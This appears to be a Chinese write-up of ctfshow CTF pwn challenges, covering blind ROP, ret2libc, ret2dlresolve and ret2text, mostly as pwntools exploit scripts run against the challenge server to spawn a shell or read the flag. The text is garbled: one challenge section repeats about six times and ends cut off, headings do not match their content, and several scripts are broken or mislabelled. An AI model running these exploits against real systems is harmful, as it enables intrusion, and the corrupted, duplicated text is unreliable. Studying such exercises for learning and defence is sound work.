    print(f"最终确定的stop gadget地址: {hex(stop_gadgets)}")
    $ python3 exp.py
    0x400700
    ...
    0x400727
    [+] Opening connection to pwn.challenge.ctf.show on port 28227: Done
    [*] Closed connection to pwn.challenge.ctf.show port 28227
    0x400728
    [+] Opening connection to pwn.challenge.ctf.show on port 28227: Done
    最终探测到的缓冲区长度为: 0x400728
    [*] Closed connection to pwn.challenge.ctf.show port 28227
  • 第三步(寻找useful gadget):
    有了 stop gadget,那些原本会导致程序崩溃的地址还是一样会导致崩溃,但那些正常返回的地址则会通过 stop gadget 进入被挂起的状态。下面我们就可以寻找其他可利用的 gadget,由于是 64 位程序,可以考虑使用通用 gadget。

    from pwn import *
    buf_length=72
    stop_gadgets=0x400728
    def Get_gadgets_Addr(buf_length, stop_gadgets):
    addr = stop_gadgets
    while True:
    sleep(0.1)
    addr += 1
    payload = b"A" * buf_length
    payload += p64(addr)
    payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
    payload += p64(stop_gadgets)
    try:
    io = remote('pwn.challenge.ctf.show',28183)
    io.recvline()
    io.sendline(payload)
    io.recvline()
    io.close()
    log.info("find address: 0x%x" % addr)
    try: # check
    payload = b"A"* buf_length
    payload += p64(addr)
    payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
    io = remote('pwn.challenge.ctf.show',28183)
    io.recvline()
    io.sendline(payload)
    io.recvline()
    io.close()
    log.info("bad address: 0x%x" % addr)
    except:
    io.close()
    log.info("gadget address: 0x%x" % addr)
    return addr
    except EOFError as e:
    io.close()
    log.info("bad: 0x%x" % addr)
    except:
    log.info("Can't connect")
    addr -=1
    brop_gadgets = Get_gadgets_Addr(buf_length, stop_gadgets)
    print(f"最终确定的stop gadget地址: {hex(brop_gadgets)}")
      
  • 第四步(获取puts_plt的地址):
    plt 表具有比较规整的结构,每一个表项都是 16 字节,而在每个表项的 6 字节偏移处,是该表项对应函数的解析路径,所以先得到 plt 地址,然后 dump 出内存,就可以找到 got 地址。这里我们使用 puts 函数来 dump 内存,比起 write,它只需要一个参数,很方便,这里让 puts 打印出 0x400000 地址处的内容,因为这里通常是程序头的位置(关闭PIE),且前四个字符为 \x7fELF ,方便进行验证。

    def Get_puts_plt(buf_length, stop_gadgets, brop_gadgets):
    pop_rdi = gadgets_addr + 9 # pop rdi; ret;
    addr = stop_gadgets
    while True:
    sleep(0.1)
    addr += 1
    payload = b"A"*buf_length
    payload += p64(pop_rdi)
    payload += p64(0x400000)
    payload += p64(addr)
    payload += p64(stop_gadgets)
    try:
    io = remote('pwn.challenge.ctf.show',28235)
    io.recvline()
    io.sendline(payload)
    if io.recv().startswith(b"\x7fELF"):
    log.info("puts@plt address: 0x%x" % addr)
    io.close()
    return addr
    log.info("bad: 0x%x" % addr)
    io.close()
    except EOFError as e:
    io.close()
    log.info("bad: 0x%x" % addr)
    except:
    log.info("Can't connect")
    addr -= 1
    puts_plt=Get_puts_plt(buf_length, stop_gadgets, brop_gadgets)
    print(f"最终探测到的缓冲区长度为: {puts_plt}")

    [*] puts@plt address: 0x400550
  • remote dump
    有了 puts,有了 gadget,就可以着手 dump 程序了
    我们知道 puts 函数通过\x00进行截断,并且会在每一次输出末尾加上换行符\x0a,所以有一些特殊情况需要做一些处理,比如单独的\x00\x0a等,首先当然是先去掉末尾 puts 自动加上的 ,然后如果 recv 到一个 ,说明内存中是\x00,如果 recv 到一个\n,说明内存中是\x0a
    p.recv(timeout=0.1)是由于函数本身的设定,如果有\n,它很可能在收到第一个 时就返回了,加上参数可以让它全部接收完。
    这里选择从0x400000dump到0x401000,足够了,你还可以 dump 下 data 段的数据,大概从0x600000开始。

  • puts@got
    拿到 dump 下来的文件,使用 Radare2 打开,使用参数 -B 指定程序基地址,然后反汇编puts@plt的位置 ,于是我们就得到了 puts@got 地址0x602018。该表中还有其他几个函数,根据程序的功能大概可以猜到,无非就是 setbuf、read 之类的,在后面的过程中如果实在无法确定 libc,这些信息可能会有用。

  • Attack
    后面的过程和无 libc 的利用差不多了,先使用 puts 打印出其在内存中的地址,然后使用LibcSearcher里查找相应的 libc,也就是目标机器上的 libc,通过偏移计算出system()函数和字符串/bin/sh的地址,构造 payload 就可以了。
    信息获取的差不多就可以直接打啦

from pwn import *
from LibcSearcher import *
io = remote('pwn.challenge.ctf.show',28274)
buf_length = 72
stop_gadgets = 0x400728
brop_gadgets = 0x4007ba
pop_rdi_ret = 0x400843
puts_plt = 0x400550
puts_got = 0x602018




def Dump_Memory(buf_length, stop_gadgets, brop_gadgets, puts_plt, start_addr, end_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret
result = ""
while start_addr < end_addr:
#print result.encode('hex')
sleep(0.1)
payload = b"A"*buf_length
payload += p64(pop_rdi)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_gadgets)
try:
io = remote('pwn.challenge.ctf.show',28235)
io.recvline()
io.sendline(payload)
data = io.recv(timeout=0.1) # timeout makes sure to recive all bytes
if data == b"\n":
data = b"\x00"
elif data[-1] == b"\n":
data = data[:-1]
log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
result += data
start_addr += len(data)
io.close()
except:
log.info("Can't connect")
return result


io.recvuntil('Do you know who is daniu?\n')
payload = b'a' * buf_length
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
payload += p64(stop_gadgets)
payload = 'a' * buf_length + p64(pop_rdi_ret) + p64(bin_sh) + p64(system
io.sendline(payload)
puts = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print hex(puts)
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
)
io.sendline(payload)
io.interactive()

pwn81(ubuntu18.04)

Hint:ROP变种

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

64位仅关闭Canary

IDA查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
void *v3; // rax
void *handle; // [rsp+8h] [rbp-8h]

init(argc, argv, envp);
logo();
puts("Maybe it's simple,O.o");
handle = dlopen("libc.so.6", 258);
v3 = dlsym(handle, "system");
printf("%p\n", v3);
ctfshow();
write(1, "Hello CTFshow!\n", 0xFu);
return 0;
}

可以看到程序先打开动态链接库“libc.so.6”,然后回去其中的system函数地址,再打印出system函数的地址

然后再执行ctfshow函数,再使用write函数打印出“Hello CTFshow!”

跟进ctfshow函数:

ssize_t ctfshow()
{
_BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

return read(0, buf, 0x100u);
}

明显的栈溢出漏洞了,与之前不同的是

这次开启了地址随机化,我们得到的地址都并不是真实地址,而是一个相对偏移:

.text:00000000000009A1 ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:00000000000009A1 public main
.text:00000000000009A1 main proc near ; DATA XREF: _start+1D↑o
.text:00000000000009A1
.text:00000000000009A1 handle = qword ptr -8
.text:00000000000009A1
.text:00000000000009A1 ; __unwind {
.text:00000000000009A1 push rbp
.text:00000000000009A2 mov rbp, rsp
.text:00000000000009A5 sub rsp, 10h
.text:00000000000009A9 mov eax, 0
.text:00000000000009AE call init
.text:00000000000009B3 mov eax, 0
.text:00000000000009B8 call logo
.text:00000000000009BD lea rdi, aMaybeItSSimple ; "Maybe it's simple,O.o"
.text:00000000000009C4 call _puts
.text:00000000000009C9 mov esi, 102h ; mode
.text:00000000000009CE lea rdi, file ; "libc.so.6"
.text:00000000000009D5 call _dlopen
.text:00000000000009DA mov [rbp+handle], rax
.text:00000000000009DE mov rax, [rbp+handle]
.text:00000000000009E2 lea rsi, name ; "system"
.text:00000000000009E9 mov rdi, rax ; handle
.text:00000000000009EC call _dlsym
.text:00000000000009F1 mov rsi, rax
.text:00000000000009F4 lea rdi, format ; "%p\n"
.text:00000000000009FB mov eax, 0
.text:0000000000000A00 call _printf
.text:0000000000000A05 mov eax, 0
.text:0000000000000A0A call ctfshow
.text:0000000000000A0F mov edx, 0Fh ; n
.text:0000000000000A14 lea rsi, aHelloCtfshow ; "Hello CTFshow!\n"
.text:0000000000000A1B mov edi, 1 ; fd
.text:0000000000000A20 call _write
.text:0000000000000A25 mov eax, 0
.text:0000000000000A2A leave
.text:0000000000000A2B retn
.text:0000000000000A2B ; } // starts at 9A1
.text:0000000000000A2B main endp

做法其实跟之前一样,不同的仅仅是需要在前面加上libc_base 也就是先算出libc中的基址

而已知程序会打印出system函数,那么问题也就迎刃而解了

$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep "rdi"
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "ret" | less
0x00000000000008aa : ret
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io.recvuntil(b"Maybe it's simple,O.o\n")
system = int(io.recvline(),16)#转换为16进制整数
print(hex(system))
libc_base = system - libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + 0x2164f
ret = libc_base + 0x8aa
payload = cyclic(0x80+8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)
io.send(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 122
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x7f1477a69420
[*] Switching to interactive mode
$ ls

pwn82 (32 位 dl_runtime_resolve , NO-RELRO )

Hint:高级ROP 32 位 NO-RELRO

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位仅开启NX保护,可以看到RELRO保护是完全关闭状态

具体利用思路如下:

首先修改.dynamic节中字符串表的地址为伪造地址,然后再伪造的地址处构造好字符串表,将read字符串替换为system字符串,再在特定位置读取/bin/sh字符串,继续调用read函数的plt的第二条指令,触发 _dl_runtime_resolve 进行函数解析,从而执行 system 函数。

这种情况下来说相对简单点

82-85题为ret2dlresolve高级栈溢出技巧,建议大家可以跟着CTFwiki一步步自行跟着构造,https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/

int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t n; // eax
char buf[112]; // [esp+0h] [ebp-7Ch] BYREF
int *p_argc; // [esp+70h] [ebp-Ch]

p_argc = &argc;
strcpy(buf, "Welcome to CTFshowPWN!\n");
memset(&buf[24], 0, 0x4Cu);
setbuf(stdout, buf);
n = strlen(buf);
write(1, buf, n);
show();
return 0;
}

跟进ctfshow函数:

char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

return gets(s);
}

使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。

还在程序中找到了get_flag函数:

int get_flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址,将程序的执行流程转向 get_flag 函数,从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()
from pwn import *
context.log_level = 'debug'
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28291)
elf = ELF("./pwn")
rop = ROP("./pwn")
io.recvuntil('Welcome to CTFshowPWN!\n')
offset = 112
rop.raw(offset*'a')
rop.read(0,0x08049804+4,4) # modify .dynstr pointer in
.dynamic section to a specific location
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace("read","system")
rop.read(0,0x080498E0,len((dynstr))) # construct a fake dynstr
section
rop.read(0,0x080498E0+0x100,len("/bin/sh\x00")) # read /bin/sh\x00
rop.raw(0x08048376) # the second instruction of
read@plt
rop.raw(0xdeadbeef)
rop.raw(0x080498E0+0x100)
# print(rop.dump())
assert(len(rop.chain())<=256)
rop.raw("a"*(256-len(rop.chain())))
io.send(rop.chain())
io.send(p32(0x080498E0))
io.send(dynstr)
io.send("/bin/sh\x00")
io.interactive()

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段

32位IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow();
return 0;
}

跟进ctfshow函数:

char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

return gets(s);
}

使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。

还在程序中找到了get_flag函数:

int get_flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址,将程序的执行流程转向 get_flag 函数,从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : There are backdoor functions here!
* *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn83(ret2dlresolve,32 位 Partial-RELRO)

Hint:存在后门函数,如何利用?

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段

32位IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow();
return 0;
}

跟进ctfshow函数:

char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

return gets(s);
}

使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。

还在程序中找到了get_flag函数:

int get_flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址,将程序的执行流程转向 get_flag 函数,从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : There are backdoor functions here!
* *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn36

Hint:存在后门函数,如何利用?

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段

32位IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow();
return 0;
}

跟进ctfshow函数:

char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

return gets(s);
}

使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。

还在程序中找到了get_flag函数:

int get_flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址,将程序的执行流程转向 get_flag 函数,从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : There are backdoor functions here!
* *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn36

Hint:存在后门函数,如何利用?

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段

32位IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow();
return 0;
}

跟进ctfshow函数:

char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

return gets(s);
}

使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。

还在程序中找到了get_flag函数:

int get_flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址,将程序的执行流程转向 get_flag 函数,从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : There are backdoor functions here!
* *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn36

Hint:存在后门函数,如何利用?

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段

32位IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow();
return 0;
}

跟进ctfshow函数:

char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

return gets(s);
}

使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。

还在程序中找到了get_flag函数:

int get_flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址,将程序的执行流程转向 get_flag 函数,从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : There are backdoor functions here!
* *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn36

Hint:存在后门函数,如何利用?

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段

32位IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow();
return 0;
}

跟进ctfshow函数:

char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

return gets(s);
}

使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。

还在程序中找到了get_flag函数:

int get_flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址,将程序的执行流程转向 get_flag 函数,从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : There are backdoor functions here!
* *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn36

Hint:存在后门函数,如何利用?

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段

32位IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow();
return 0;
}

跟进ctfshow函数:

char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

return gets(s);
}

使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。

还在程序中找到了get_flag函数:

int get_flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
return printf(s);
}

